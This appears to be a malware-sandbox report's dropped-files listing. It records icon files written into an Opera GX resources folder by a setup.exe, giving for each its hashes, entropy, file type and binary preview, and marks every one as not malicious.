                                                                                                                                                                                                              Preview:............ .h...6... .... .........00.... ..%..F...(....... ..... ................................a...................................................a.......a...........................................................a....................................................................................................mmm.>>>.............................................FFF.............999.....................................,,,.kkk.............'''.....ddd.............................................MMM.............fff.............................BBB.TTT.........kkk.................yyy.........................................###.///.............JJJ.....................YYY.===......................................................................... .........BBB.............;;;.............@@@.............GGG.............:::.CCC.............PPP........................................................................................................................................a......

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\2F8F0E41-F521-45A4-9691-F664AFAFE67F.ico

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):5430
                                                                                                                                                                                                              Entropy (8bit):3.2795862597625223
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:E9fPpk2cvduCWCiNSvjayBnHhtg4tlyQtaPkhb8GAoYFbKtgZaI5zQh6zKUtGUNQ:kfWFuCWq7BnB/iQ4PkhgDF+CZaRGG8Q
                                                                                                                                                                                                              MD5:93E4504D4C585CFDA1979B37E75FE39A
                                                                                                                                                                                                              SHA1:5D4296F36E878B263C5DA6AD8ABD6174E4DFF5D8
                                                                                                                                                                                                              SHA-256:69AAAB4B888C83B3F77D524313F9383D9EDAA73E4AF111A7A637E9F84A1609D7
                                                                                                                                                                                                              SHA-512:072638BEE318F5E15AF53CF3F9EFD9156AA4836C40E8FB5F1F856706331CB11B528DFEBE8E88713FC7146FEFB1E66A614CFF2F4E87676D886D2F09D945CBD1A0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .h...&... .... .........(....... ..... ......................................... @. .>...?...?...?...?...>...@.@........................ @...>...?...?...?...?...?...?...?...?...@.. @.............. @...?...?...?...?...?...?...?...?...?...?...?...?.. @...........>...?...?..........r....?...?...........?...?...?...@.......@.@.?...?...?..+K..........9W...?...........?...?...?...?.. @. .>...?...?...?...?..9W...........?...........?...?...?...?...?...?...?...?...?...?..9W.......................?...?...?...?...?...?...?...?...?..+K...............?...........?...?...?...?...?...?...?...?...?...............?...?...........?...?...?...?...?...?...?...?...?..........+K...?...?...........?...?...?...?...?...>...?...?...?..........Gc...?...?...........?...?...?...?...>...@. .?...?...?..Vo..............q............?...?...?...?...@.@.....>...?...?...?..Vo.......................?...?...?...>...........@...?...?...?...?...?...?...?...?...?...?...?...?...@...............@...>...?...?...?

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\3B6191A0-8BF3-11E2-9E96-0800200C9A66.ico

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):5430
                                                                                                                                                                                                              Entropy (8bit):5.6318458632047665
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:96:seB1UfVV/JYEQVg9Dpe/IV/OdBE0pVPU2rBvZjkLcH6bfid:s21U9VxqKDpeK7kVPU2rFicc6
                                                                                                                                                                                                              MD5:9796ED786D95606D51BE9DAB54FB5350
                                                                                                                                                                                                              SHA1:6EE48A6F912384D8F9CCE8BF7931BED779DC1D9D
                                                                                                                                                                                                              SHA-256:74368197CB53191E522E3A73AAB974D53EAE8E38DA694A1ED2CFA06F39176E58
                                                                                                                                                                                                              SHA-512:E9D14BA4486E73AB0FBB30F0C505E8AB2D8D5F55A3F87EC33AAE994F3B796EA415564136E70812B6ED09595D1BEAB345FEE1B7199694CE3F12118307065330D1
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:...... .... .....&......... .h.......(... ...@..... ...........................;.p.5.o.6.o.6Dd.0.........................................................................................d.0.o.6Do.6.o.4..;...;.p.3.o.3.n.3.q.3.n.3.r.7.n.5.o.6up.8Pn.7)i.2.................................m.3.n.6*q.8Po.7tn.5.n.4.n.3.q.3.n.3.n.3.p.3...;...;.q.3.s.4.s.4.v.5.q.4.r.4.q.4.q.4.q.5.q.5.q.5.q.4.p.4.r.5.p.4.q.4.q.4.q.5.q.4.r.5.q.5.q.5.q.5.q.4.q.3.r.4.u.5.s.4.r.3.p.3...;...;.t.5.w.5.v.5.y.6.u.5.w.6.x.7.x.7.w.7.x.8.y.8.y.9.z.9.z.9.v.7.w.9.y.9.z.9.v.8.v.7.v.8.v.7.v.6.v.6.v.6.z.7.x.6.v.5.t.5.r.3...;...;.u.5.x.6.{.7.y.6.y.7.z.8.|.8.}.9...;...<...<.~.<...<...<.{.:.|.;.}.;.z.:.{.:.|.:.z.:.{.:.{.9.{.9...:.{.8.|.8.w.6.t.5.t.5...;...;.v.5.z.7...9.}.8.}.9...9...;...;...<...=...=...>...>...?...=...>...>...>...>...>...>...<...<...;...<...<.|.8.~.8.y.6.t.5...;...;.w.5...9...;...;...;...;...<...>...>...?...@...A...A.................@...A...A...?...>...>...>...>...=...;...<.}.8.v.5...;...;.z.7...:...<...<...>...

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\3BFDFA54-5DD6-4DFF-8B6C-C1715F306D6B.ico

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):4286
                                                                                                                                                                                                              Entropy (8bit):5.1032077050059135
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:ylfbtHfEtPy/n3qq6kb57gg6AeOmm86JAAUw4HhcNh5VDc7D/:ypFs8BgxOmmH1Uw4EhvDi/
                                                                                                                                                                                                              MD5:BD5865B6A3787241931895B562D1AAF9
                                                                                                                                                                                                              SHA1:AB4636F3D534E11F8FCFDEA8A5070CD5D203F9C5
                                                                                                                                                                                                              SHA-256:A81AD17502B90A50BB491911F35D44BEF0A855BDA2F9BFCD7D98868AD0678718
                                                                                                                                                                                                              SHA-512:247766FE6585C0E965E7861AEDC48511CF825812B4C72345CB6FDBB148C3ED6A654C70D216187B4095770FB3BE1B5A18CD5A7289F5EE3BE0E6D01CB2AA12F40A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:...... .... .........(... ...@..... .................................................................(H. 'D.p'D.#C..'D..'D..'D..'D..#C..'D.'D.p(H. ........................................................................(D.@%E.'E..'E..'E..]s..]s..x...........k...5P..'E..'E..%E.(D.@........................................................ @..'D.'E..'E..%E.(E.`...............................(E.`%E.'E..'E..'D. @..............................................%E.0'F..'F..'F..(D.@.......@.........................'F.%E.0....(D.@'F..'F..'F..%E.0....................................(E.`'F..'F..(F.....&F.P#C..........F.d.F.d....s.z........3r..<...3x..&F.P....(F.'F..'F..(E.`............................%E.0'G..'G..(E.` @..'G.'G..B[.........F.d.F.d.E.Z.F.d.F.d.F.d.F.d.F.d.>...'G..'G. @..(E.`'G..'G..%E.0.................... @..'G..'G..(H.` @..'G..'G..'G..\p.........F.d.F.d.E.T.F.d.F.d.F.d.F.d.F.d.>...'G..'G..'G.. @..(H.`'G..'G.. @..................'G.'G..(H. P..'G..'G..'G..'G....

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\4C95ADC1-5FD9-449D-BC75-77CA217403AE.ico

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1150
                                                                                                                                                                                                              Entropy (8bit):4.0366948059247445
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12:XEywkS4AG1drr8UDamI7U6lppC8CtucAXg78YDgPrmM9RzTEXMbRFA/9V6/:X5LBTrrnaVppstut4Daiw/EXa
                                                                                                                                                                                                              MD5:3264B65E59E51CA4943AE076748BFCEC
                                                                                                                                                                                                              SHA1:59AD003192DB03CA1E089924955FDCE0E25D159D
                                                                                                                                                                                                              SHA-256:65944B9D2003DCB988A8E3E03D29074A8C142520431EFBA1CC115036A8072F47
                                                                                                                                                                                                              SHA-512:7D81E6EE46A4389274C11178CB8E4CCF04BAAF1EEAD91BA44F27D7AF0290C55F55FBA2E7EC9E72DECA58D5138BA13238DCFB0956974E82059FE5285994090192
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .h.......(....... ..... ...............................................................................7M$.*.(........................l......n.D.%.`...]R..P...A0 .4.%.'.)..................].........-.m...u...h...[...M...?.!.2.%.%.*..B...........v.........]w.G...........f...X...K...>.".0.&.#*...........<....................................H:..;.#.-.'. ...................$..................................8a#.+.(..}.................................................... .6.$.*.).......uj.i.......`........................................kG..*..........[.p}....U...........................................]fw./......:....oo...............................................4...........-...?...............................................'...........?...O...^.d.......................................1.E.........S...b...q.....f....................................................t.'...............n...FE..].........................................................0.......

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\5BBBDD5B-EDC7-4168-9F5D-290AF826E716.ico

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1150
                                                                                                                                                                                                              Entropy (8bit):2.867292544398476
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12:aRa8T7e6TkX4TLzYqQFTbondobmiSc/TRaRn4q9sldTu+R4mlyQRG/U0/2JBiEXs:8bDTVTlKvLRagLYmlyQR2aBiEXs
                                                                                                                                                                                                              MD5:7868D43BE5BE8978E247DA73B69A50AC
                                                                                                                                                                                                              SHA1:8F30676FF39D8A5DA69D2DCC624A6279FD323A13
                                                                                                                                                                                                              SHA-256:FA6C55B1C6F924242A2EE556859BB935A2427320AFC7D2C911AD4192727662A2
                                                                                                                                                                                                              SHA-512:52C174144A81B0218695FBB8F9152EEC917D914CD5DF2662A03706E161025FA962CDF4E952B42D990C254377B0B1A4B5B4B01AAF4E62AC6072847CE947252767
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .h.......(....... ..... ............................................%...1...7...8...8...8...8...1...$.......................*...........................................................,.......@....Z...Z...Z...Z...Z...Z...Z...d.........$.................Z...Z...Z...Z...Z...Z...Z...Z...Z...Z.........1.......'.... o...Z...Z.. o...................Z...Z...Z.........8.......1.....Z...Z...Z.......................Z...Z...Z.........8......./.....Z...Z...Z.......................Z...Z...Z.........8.......#....@....Z...Z...d...................Z...Z...Z.........8.................d...Z...Z...Z...Z...Z...Z...Z...Z...Z.........8...........%........p... o...Z...Z...Z...Z...Z...Z...Z.........6...............B.............................Z...Z...d........./.....................d..................`....Z...Z..P..........#.....................Z...Z...Z...Z...Z...Z...Z...Z.............................`.... o...Z...Z...Z...Z...Z...Z.............-..................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\66DD4BB6-A3BA-4B11-AF7A-F4BF23E073B2.ico

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 3 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):15086
                                                                                                                                                                                                              Entropy (8bit):2.1885512297205745
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:96:WzjWBglIZ/GjtT33fW57FL0ZyeaCRZi+/vL:Wzw/U/W579AXpL
                                                                                                                                                                                                              MD5:2C40ED190AA02EB3A2CDC38B89F4458D
                                                                                                                                                                                                              SHA1:F6E1F3E63098CCB207CBCF5127B7619AD294A4E2
                                                                                                                                                                                                              SHA-256:FB15A61B133EC3333B377B947059550EC69304F0F9DA6FB333A54048F3E04E5D
                                                                                                                                                                                                              SHA-512:1068EE61996222DCCD50C007BDC4A99D83DCC928E22AE845D27419952854A21B716878815FDA5747B75F1226DBC478F67AD9FCF177F80E326695D603B7FE7FAE
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .h...6... .... .........00.... ..%..F...(....... ..... ................................a...................................................a.......a...........................................................a....................................................................................................mmm.>>>.............................................FFF.............999.....................................,,,.kkk.............'''.....ddd.............................................MMM.............fff.............................BBB.TTT.........kkk.................yyy.........................................###.///.............JJJ.....................YYY.===......................................................................... .........BBB.............;;;.............@@@.............GGG.............:::.CCC.............PPP........................................................................................................................................a......

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\6D3582E1-6013-429F-BB34-C75B90CDD1F8.ico

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1150
                                                                                                                                                                                                              Entropy (8bit):4.560345262666608
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:12:Xg2aJpCnnYdmnnnnnL5S1Mk/UUUUAODLMRtJ178FNffwuGN7lOzQOnA+zzzzzzzf:X4Ra5S1M2UUUUxL6AfqUg+zzzzzzzM3s
                                                                                                                                                                                                              MD5:74FDAC19593602B8D25A5E2FDB9C3051
                                                                                                                                                                                                              SHA1:81DB52E9AD1BE5946DFFA3C89F5302633A7698D2
                                                                                                                                                                                                              SHA-256:F06EBEF0B912B94D7E0AF3915F2A6B6B64F74CB60BC8AAA1104C874761A0DEE6
                                                                                                                                                                                                              SHA-512:8FFB507E46C99F1FEDE3F12C14998CD41AFA8CFC5C815756343041F1BEF6FAF7BA4429CEBEB87B0FB807D911F5516D235D5F893E519576B1FB675D25D025C21B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .h.......(....... ..... ..........................xO~.xO.xO..xO..xO..xO..xO..xO..xO..xO..xO..xO...x...x...x...x..yO.t...x...x...x...x...x...x...x...x...x...]..yO{..x...x...x..{R...z...z...z.................................|S..{R...z...z...V...|...|...|.......|...|...|...|...|...|...|...h...V...|...|...[...~...~...~.......a...a...a...a...a...a...~...|..._...[<..~...a..................................................v...a.......i..............................................p...if..q......j..j..j..j..j..j...........................q...y..............................o........................y.................................u........................f................................|...............................................................................<...............................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\76C397A8-9E8E-4706-8203-BD2878E9C618.ico

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1150
                                                                                                                                                                                                              Entropy (8bit):6.638581632319262
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:r+jdxX5GMV+VhezSDogEXMJBpLwuHzcg5Q7XIBAgv/lN:ruBfkYSDzEXMrSuryilr
                                                                                                                                                                                                              MD5:15CC60C14626AE2549F3305C25B249F7
                                                                                                                                                                                                              SHA1:A5DB46CDB09B46FD644BE78D2E3B798AE1C3DAEE
                                                                                                                                                                                                              SHA-256:2D2E6EDAD6C27FD6BC79F2B02E15C1F8B227C1621536F902F065673FE03D0667
                                                                                                                                                                                                              SHA-512:75BC0B4C13D40C253B796FEF48AAF4F9BF8C5981B20D287E740AD9950CD95CBAB32456E57804A907D68475C8E0E2B174A4964C9014849B6A84EAB658052E6812
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .h.......(....... ..... .....@...................pn..b..%U.1#M.B!H.L!G.O!G.Q!(9..%&..%".......................)._]w..P...I./.E.>.D.H.C.K.G.E.N.;.^. .]u,.............. ...4...F.oEz..=...9.'.7.3.8.;.:.?.?.;.H.0.[...BX........... ...3...M...`.g=w..7}..5~&.4.0.3.4.5.5.9.2.C.*.V...(5B..........+...E...c...r.e8w..5|..5.5.5.=.4.;.5.6.9./.B.$.N|....o..........6...W...v...|.e7{..7.?.8.W.8.Y.8.S.:.J.<.>.F.,.Dl$..........#...A...i.......|.c8.F.:.i.;.w.;.w.;.q.<.h.>.^.D.L./\_..........*...M...s...}..:w.s9._.;.s.5.m.6.m.9.r.:.n.:.e.:.U.0M_..........+...O...i...k..{xW.5.P.0o..)i..(n..*x..,...,...-...{j...b...c'.fVU.?J..(I...9...lW.+K./)N..*h..*q..*s..)v..'...3v...e...o.............{....)....)G./+b..,w..,{..,y..+v..$u..E^z..h...l...z...................k.1/~..1...1...0....... h..]XF..i...k...r...~...............3..15...7...7...5...1....^..t^ ..h...j...m...q...t...w...x..v..8..1:...<...=...<...5...4q...`...e...i...l...m...l...k...k..j..4..79...<...=...=...:...K...~m'.}l&..k..v

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\8D754F20-8BF5-11E2-9E96-0800200C9A66.ico

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):6518
                                                                                                                                                                                                              Entropy (8bit):2.407909805152941
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:GyGuu/uu/uu/uu/uu/uu/uu7Z96wNYtmFoUaeqLC+QVclwHCx/fkjOYYxmrpIZM4:G6tT5wHuXkjOZaImFcOk
                                                                                                                                                                                                              MD5:5E5293480F2EE9B15767E01F4D5DBAF5
                                                                                                                                                                                                              SHA1:4AF378AE27C39DC0128EF2094A5E6B657ADB60B0
                                                                                                                                                                                                              SHA-256:87CFD63B77DA23BF2B7C342F666138C3C35CEC7F2AABD51618447913AEE97DA3
                                                                                                                                                                                                              SHA-512:3CDE31C1641B945BF1007AAE8468E815E29B1712AB877AAE2FE9C94A4AB3C1BF39F027A4FD113F962B466903E2550D52AD88E9AA5826BC66D96F43CA4AA8F3DB
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .(...&... .... .(...N...(....... ..... .........................................................................................................................................................................................................................82..82..82..82...d...d...d...d..................................82..82..82..82...d...d...d...d..................................82..82..82..82...d...d...d...d..................................82..82..82..82...d...d...d...d..................................82..82..82..82...d...d...d...d..................................82..82..82..82...d...d...d...d..................................82..82..82..82...d...d...d...d.........................................................................................................................................................................................................................................................l...................o.......................................$......

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\AD2FD2BD-0727-4AF7-8917-AAED8627ED47.ico

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1150
                                                                                                                                                                                                              Entropy (8bit):1.6159828216175358
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:/tToyoOvySW1mLMB6yAHyyuyIyMByyMyCy+8Byyyuc7yyDByoBySyUyvyvywbsz:gOI/ysPh2/Tsz
                                                                                                                                                                                                              MD5:58605FAE7FE4E695F5FD358A7465565B
                                                                                                                                                                                                              SHA1:F47615D987B3F2D8FCE40DC93D55DEE71A78CDDC
                                                                                                                                                                                                              SHA-256:831CC92E9F60D151B3446E5125AF5A8C45E613636D384324179AE565DFEC08FC
                                                                                                                                                                                                              SHA-512:C045AC34FC39BBF1D7B108EB85165C57E551B47239D8A6515F7EC843C2AAE0CAEDA9E3E1CB919F1AED2FF9F98FF8D34934ED961ECEBCA1413A1FCBDA4F09343F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .h.......(....... ..... .....@......................................................................................................................................*..........................................................h.......:...............z....................................................................................................................................................A...........,.....................................R.......T...............M..............................w..............7...............Q..............................7...............0....................................................................<..................................................................u...................................................................................................................u...............w..................................................................................................E...H......................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\B478FE0C-0761-41C3-946F-CD1340356039.ico

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1150
                                                                                                                                                                                                              Entropy (8bit):4.994300674852024
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:QJTtCJ4Rge9BuHYjB2oOU7y5p3ygw1tXivSP3l3t:QJhK4R1Hu4N2o2j3DBm9
                                                                                                                                                                                                              MD5:D2F1F9CE53773F7F51412AFFFEE0D97A
                                                                                                                                                                                                              SHA1:748398747AAA25473BBB58353FCBCCB424E78849
                                                                                                                                                                                                              SHA-256:00764980C4713198CBCDF7BD6A657BBAFFE15AE3BAA4E09A8EF19F32606BB6F0
                                                                                                                                                                                                              SHA-512:010734637DCE084DBADD5C8D7A5ACC73FF262F37331AF4C9FD318310A12986917C647FFFFABF97C102C97A496D07CBF7F834DD358901D65DBC6CD77CD1F827D3
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .h.......(....... ..... .....@....................................<...<.k.<...=...=...=...=.k.?...N...U...................<...<.t.=...>...>.d.=.?.=.?.>.d.>...E...[...V...G.4.........<...<...>...>...................................E.j.A.1.........<...>...?.......D.+.G.].H.y.H...G.y.E.N.D.......?...=.......<.+.=...>. .@.o.C...H...L...N...N...L...H...C...A.<.?. .>...<.+.<...>.......B...H...L...O.Y.R.4.S.6.S...O...H...C.......>...<...=...>.;.....E._.H.......... `.. _.F.\...U...M...F.......>.<.=...=...=...............X.0!b..%j..%j..!b...X...P...J.B.....>...=...=...=.......J...P...X..!b..%k..%k.."c...Z...S...........>...=...=...>./.....G...M...U...].."b.."d.A!`...........H.......>./.=...<...>.|.....C...I...O...U...W...V...S.'.M.e.H...D.......>.{.<...<.@.>...?...A.Y.D...I...M...P...P...M...I...D...A...?...>...<.@.....<...>...?...B.).D...G...I...I...H...F.^.C...@...>...<...........<...<...>...?...........................?...>...<...<...............<...<...>...>.}.>.0.>...>...>.0.>

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\C665D993-1B49-4C2E-962C-BEB19993BB86.ico

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):5430
                                                                                                                                                                                                              Entropy (8bit):3.2795862597625223
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:E9fPpk2cvduCWCiNSvjayBnHhtg4tlyQtaPkhb8GAoYFbKtgZaI5zQh6zKUtGUNQ:kfWFuCWq7BnB/iQ4PkhgDF+CZaRGG8Q
                                                                                                                                                                                                              MD5:93E4504D4C585CFDA1979B37E75FE39A
                                                                                                                                                                                                              SHA1:5D4296F36E878B263C5DA6AD8ABD6174E4DFF5D8
                                                                                                                                                                                                              SHA-256:69AAAB4B888C83B3F77D524313F9383D9EDAA73E4AF111A7A637E9F84A1609D7
                                                                                                                                                                                                              SHA-512:072638BEE318F5E15AF53CF3F9EFD9156AA4836C40E8FB5F1F856706331CB11B528DFEBE8E88713FC7146FEFB1E66A614CFF2F4E87676D886D2F09D945CBD1A0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .h...&... .... .........(....... ..... ......................................... @. .>...?...?...?...?...>...@.@........................ @...>...?...?...?...?...?...?...?...?...@.. @.............. @...?...?...?...?...?...?...?...?...?...?...?...?.. @...........>...?...?..........r....?...?...........?...?...?...@.......@.@.?...?...?..+K..........9W...?...........?...?...?...?.. @. .>...?...?...?...?..9W...........?...........?...?...?...?...?...?...?...?...?...?..9W.......................?...?...?...?...?...?...?...?...?..+K...............?...........?...?...?...?...?...?...?...?...?...............?...?...........?...?...?...?...?...?...?...?...?..........+K...?...?...........?...?...?...?...?...>...?...?...?..........Gc...?...?...........?...?...?...?...>...@. .?...?...?..Vo..............q............?...?...?...?...@.@.....>...?...?...?..Vo.......................?...?...?...>...........@...?...?...?...?...?...?...?...?...?...?...?...?...@...............@...>...?...?...?

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\CCCED631-6DA2-4060-9824-95737E64350C.ico

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):5430
                                                                                                                                                                                                              Entropy (8bit):3.2795862597625223
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:E9fPpk2cvduCWCiNSvjayBnHhtg4tlyQtaPkhb8GAoYFbKtgZaI5zQh6zKUtGUNQ:kfWFuCWq7BnB/iQ4PkhgDF+CZaRGG8Q
                                                                                                                                                                                                              MD5:93E4504D4C585CFDA1979B37E75FE39A
                                                                                                                                                                                                              SHA1:5D4296F36E878B263C5DA6AD8ABD6174E4DFF5D8
                                                                                                                                                                                                              SHA-256:69AAAB4B888C83B3F77D524313F9383D9EDAA73E4AF111A7A637E9F84A1609D7
                                                                                                                                                                                                              SHA-512:072638BEE318F5E15AF53CF3F9EFD9156AA4836C40E8FB5F1F856706331CB11B528DFEBE8E88713FC7146FEFB1E66A614CFF2F4E87676D886D2F09D945CBD1A0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:............ .h...&... .... .........(....... ..... ......................................... @. .>...?...?...?...?...>...@.@........................ @...>...?...?...?...?...?...?...?...?...@.. @.............. @...?...?...?...?...?...?...?...?...?...?...?...?.. @...........>...?...?..........r....?...?...........?...?...?...@.......@.@.?...?...?..+K..........9W...?...........?...?...?...?.. @. .>...?...?...?...?..9W...........?...........?...?...?...?...?...?...?...?...?...?..9W.......................?...?...?...?...?...?...?...?...?..+K...............?...........?...?...?...?...?...?...?...?...?...............?...?...........?...?...?...?...?...?...?...?...?..........+K...?...?...........?...?...?...?...?...>...?...?...?..........Gc...?...?...........?...?...?...?...>...@. .?...?...?..Vo..............q............?...?...?...?...@.@.....>...?...?...?..Vo.......................?...?...?...>...........@...?...?...?...?...?...?...?...?...?...?...?...?...@...............@...>...?...?...?

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\resources\CFCE84E5-9A95-4B3F-B8E4-3E98CF7EE6C5.ico

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              File Type:MS Windows icon resource - 6 icons, 16x16, 2 colors, 16x16, 32 bits/pixel
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):34686
                                                                                                                                                                                                              Entropy (8bit):1.1787188557524333
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:ENq56QHucrYU+uLvYnF+y8JJ34uRzDXojiYjgHLZ4c2kFSAfhGVVwVv7BABQ3jIz:QFcvRxl4TjMFSA5G0BABX0NB90gQBtBZ
                                                                                                                                                                                                              MD5:5337074698C608F4996D7F6AC571DBB9
                                                                                                                                                                                                              SHA1:66CB3910242DDA40A4E17C76FDC73829C8DB99BD
                                                                                                                                                                                                              SHA-256:B3C8A7AA2BC429AA15A764574D7C7D54F2672628DFF75CA830A5DB4CBC878B3D
